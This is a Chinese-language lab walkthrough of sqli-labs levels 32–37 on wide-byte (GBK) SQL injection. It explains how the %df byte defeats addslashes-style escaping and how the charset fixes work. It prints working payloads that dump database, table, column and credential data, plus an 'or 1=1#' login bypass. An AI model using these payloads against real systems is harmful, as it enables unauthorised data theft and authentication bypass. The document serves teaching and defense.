目录
Less-32
Less-33
Less-34
Less-35
Less-36
Less-37
宽字节注入简介
Less-32,33,34,35,36,37 六关全部是针对’和\的过滤,所以我们放在一起来进行讨论。
对宽字节注入的同学应该对这几关的 bypass 方式应该比较了解。我们在此介绍一下宽字节注入的原理和基本用法。
原理:mysql在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个
汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将' 转换为 \'(转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:
1、%df 吃掉 \ 具体的原因是 urlencode(‘\) = %5c%27,我们在%5c%27 前面添加%df,形
成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将\'中的\过滤掉,例如可以构造%**%5c%5c%27的情况,后面的%5c会被前面的%5c
给注释掉。这也是bypass的一种方法。
具体分析一下原理:
1、正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的',就会被转义为\';
2、若存在宽字节注入,输入%df%27时,经过单引号的转义变成了%df%5c%27,之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞。
宽字节注入原理可以参考:宽字节注入原理 - My_Dreams - 博客园
5. 宽字符注入详解与实战 - bmjoker - 博客园
GET-绕过自定义筛选器,将斜杠添加到危险字符。即基于错误_GET_单引号_字符型_转义引号反斜杠_宽字节注入。
源码:
源码中对输入的id进行了过滤,过滤 ' 、\ 的函数,将 ' 转为 \' , 将 \ 转为 \\ ,将 " 转为 \"。
直接进行漏洞利用时会有问题:
提示将“ ' ”转化为了“ \' ”。
解题思路:
需要在构造一个反斜杠来转义后一个反斜杠达到过滤的效果。
?id=-1%df' union select 1,2,3 --+
若存在宽字节注入,输入%df%27时,经过单引号的转义变成了%df%5c%27,之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞。
爆数据库名:
?id=-1%df' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
其他的都和Less-1一样,只是在“ ' ”前面加上了%df将%5c 吃掉:sqli-labs Less-1~4(sqli-labs闯关指南 1—4)_m0_54899775的博客-CSDN博客
GET型-绕过AddSlashes()函数
源码:
addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串:单引号 ',双引号 ",反斜杠 \,空字符 NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
Addslashes()函数和我们在 32 关实现的功能基本一致的,所以我们依旧可以利用%df 进行绕
过。
Notice:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。
Mysql_query(“SET
character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
爆位置:?id=-1%df' union select 1,2,3 --+
爆数据库:
?id=-1%df' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
其他的则与Less-32关卡一样,使用%df或是其他字符进行干扰即可,注入语句可参考Less-1:sqli-labs Less-1~4(sqli-labs闯关指南 1—4)_m0_54899775的博客-CSDN博客
基于错误_POST_单引号_字符型_addslashes()_宽字节注入
源码:
本关是 post 型的注入漏洞,同样的也是将 post 过来的内容进行了 ' \ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而 get 型的方式我们是以 url 形式提交的,因此数据会通过 URLencode,如何将方法用在 post 型的注入当中,我们此处介绍一个新的方法。将 utf-8 转换为 utf-16 或 utf-32,例如将 '转为 utf-16 为 � ' 。我们就可以利用这个方式进行尝试。
我们用万能密码的方式的来突破这一关:
username:�' or 1=1#
Password:随便填
点击登录:
登录成功 。
原始的 sql 语句为
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
此时 sql 语句为
SELECT username, password FROM users WHERE username='� ' or 1=1#' and password='$passwd' LIMIT 0,1
Explain: SELECT username, password FROM users WHERE username='� ' or 1=1起到作用,后面的则被#注释掉了。而起作用的的语句不论 select 选择出来的内容是什么与 1=1 进行 or 操作后,始终是 1。
爆位置:
用户名输入:-1�' union select 1,2#
爆数据库名:
用户名输入:-1�' union select 1,database() #
其他输入语句可参考Less-11 POST注入:
sqli-labs Less-11~16(sqli-labs闯关指南 11—16)--POST注入相关_m0_54899775的博客-CSDN博客
也可以使用burp suite进行抓包修改进行漏洞利用,可参考:sqli-labs Less-11~16(sqli-labs闯关指南 11—16)--POST注入相关_m0_54899775的博客-CSDN博客
基于错误_GET_数字型_addslashes()_宽字节注入
源码:
1.判断注入类型
这关有错误回显,所以比较容易判断:
由此得出结论该注入类型为数字型。
如何判断数字型or被过滤?而没有错误回显时,我们又应该怎么判断是数字型注入还是引号被过滤呢?
在能分辨出正确回显和错误回显(有固定字符串)时,id=1正确回显,尝试id=1'和id=1":
若两者都正确回显:很可能是被过滤引号
若两者都错误回显:很可能是数字型查询
若一正确一错误:基本可确定是字符型查询
我们知道了数字型并且知道使用了addslashes()函数,那么数字型通关其实就很简单了,操作和Less-2几乎一样,只不过有一点的小改动,就是注入语句出现的引号里面的数据转为16进制即可,具体如下:
2. 爆数据库:
?id=-1 union select 1,2,database()--+
3.爆表名:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
切记:security 转为16进制为0x7365637572697479 是不包括引号的,转为16进制也不需要引号
4. 爆字段名:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+
5.爆数据:
?id=-1 union select 1,group_concat(username,0x7e,password),3 from security.users --+
基于错误_GET_单引号_字符型_mysql-real-escape-string()_宽字节注入
源码:
上面的 check_quotes()函数是利用了 mysql_real_escape_string()函数进行的过滤。mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE。
但是因 MySQL 我们并没有设置成 GBK,所以mysql_real_escape_string()依旧能够被突破,方法和上述addslashes()是一样的。
在使用mysql_real_escape_string()时,若想防范这种问题,需要将 MySQL 设置为 GBK:
Mysql_set_charset(‘gbk’,’$conn’)
原理
对于宽字节编码,有一种最好的修补就是:
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面df 和 5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?
就是使用mysql_set_charset进行指定。
上述的两个条件是“与”运算的关系,少一条都不行。
宽字符注入的修复
先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string函数来过滤用户输入。
(也就是说,先不进行转义,首先以GBK编码的形式对提交上来的参数进行编码,然后再进行转义,(先编码也意味着反斜杠即5c不会出现,到下一步的转义引号才出现)这就造成了编码过后转义引号的反斜杠即字符5c不会和字符df变成一个宽字符,阻止了df 和 5c 的拼接,于是防宽字符注入成功)
这个方式是可行的,但有部分老的cms,在多处使用addslashes来过滤字符串,我们不可能去一个一个把addslashes都修改成mysql_real_escape_string。我们第二个解决方案就是,将character_set_client设置为binary(二进制)。
只需在所有sql语句前指定一下连接的形式是二进制:
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);
这几个变量是什么意思?
当我们的mysql接受到客户端的数据后,会认为他的编码是character_set_client,然后会将之将换成character_set_connection的编码,然后进入具体表和字段后,再转换成字段对应的编码。
然后,当查询结果产生后,会从表和字段的编码,转换成character_set_results编码,返回给客户端。
所以,我们将character_set_client设置成binary,就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字符注入。
由于环境存在一定不同,这里演示没有成功,这个与php版本有一定关系,因此可以参考:Sqli-labs之Less-36_→_→-CSDN博客
POST型 - 绕过 MYSQL_real_escape_string
源码:
本关与 34 关是大致相似的,区别在于处理 post 内容用的是 mysql_real_escape_string()函数,而不是 addslashes()函数,但是原理是一致的。
根据以上过滤函数以及SQL语句,我们直接使用之前所用过的万能密码来突破一下:
username:�' or 1=1#
password:任意
别人是可以成功的,我这边操作没有成功,这与php的版本有关系,这里便不再展开。也可以利用burp进行操作,具体操作可以参考:Sqli-labs之Less-37_m0_46315342的博客-CSDN博客
Summary:
从上面的几关当中,可以总结一下过滤 ‘ \ 常用的三种方式是直接 replace,addslashes(),mysql_real_escape_string()。三种方式仅仅依靠一个函数是不能完全防御的,所以我们在编写代码的时候需要考虑的更加仔细。同时在上述过程中,我们也给出三种防御的方式,相信仔细看完已经明白了,这里就不赘述了。